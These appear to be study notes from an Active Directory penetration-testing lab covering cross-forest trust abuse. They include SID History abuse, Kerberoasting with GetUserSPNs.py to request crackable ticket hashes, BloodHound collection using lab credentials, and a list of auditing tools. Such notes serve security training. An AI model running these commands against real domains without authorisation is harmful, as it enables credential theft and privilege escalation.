SID History can also be abused across forest trusts. If SID filtering is not implemented, suppose that user with administrative privileges in one domain is migrated to another trusted domain.
- This user retains their administrative privileges in the previous domain.
Cross-Forest Trust Abuse from Linux
Kerberoasting
Likewise, we can use GetUserSPNs.py for this. We need to specify the -target-domain option for our targeted, cross-forest domain.
- Enumeration:
GetUserSPNs.py -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley - Ticket generation:
GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley. We can use-outputfileas well, to pipe output to a hash file for cracking.
To check for foreign group membership, we can use bloodhound-python to collect data, then ingest it into the GUI for analysis.
- Firstly, add the DNS entry for the domain into
/etc/resolv.conf:
domain INLANEFREIGHT.LOCAL
nameserver 172.16.5.5
- Then, run the tool:
bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2. Compress thejsonfiles into aziparchive:zip -r ilfreight_bh.zip *.json - Repeat this process for domains in other forests:
bloodhound-python -d FREIGHTLOGISTICS.LOCAL -dc ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -c All -u forend@inlanefreight.local -p Klmcargo2 - In BloodHound, click on
Users with Foreign Domain Group Membershipunder theAnalysistab, and select the source domain as our domain of interest.
AD Auditing Tools
AD Explorer - GUI tool to explore the AD configuration.
PingCastle - tool to evaluate security posture of AD environment, with results in maps and graphs.
group3r.exe - tool to find AD GPO vulnerabilities.
ADRecon - PowerShell tool to enumerate AD.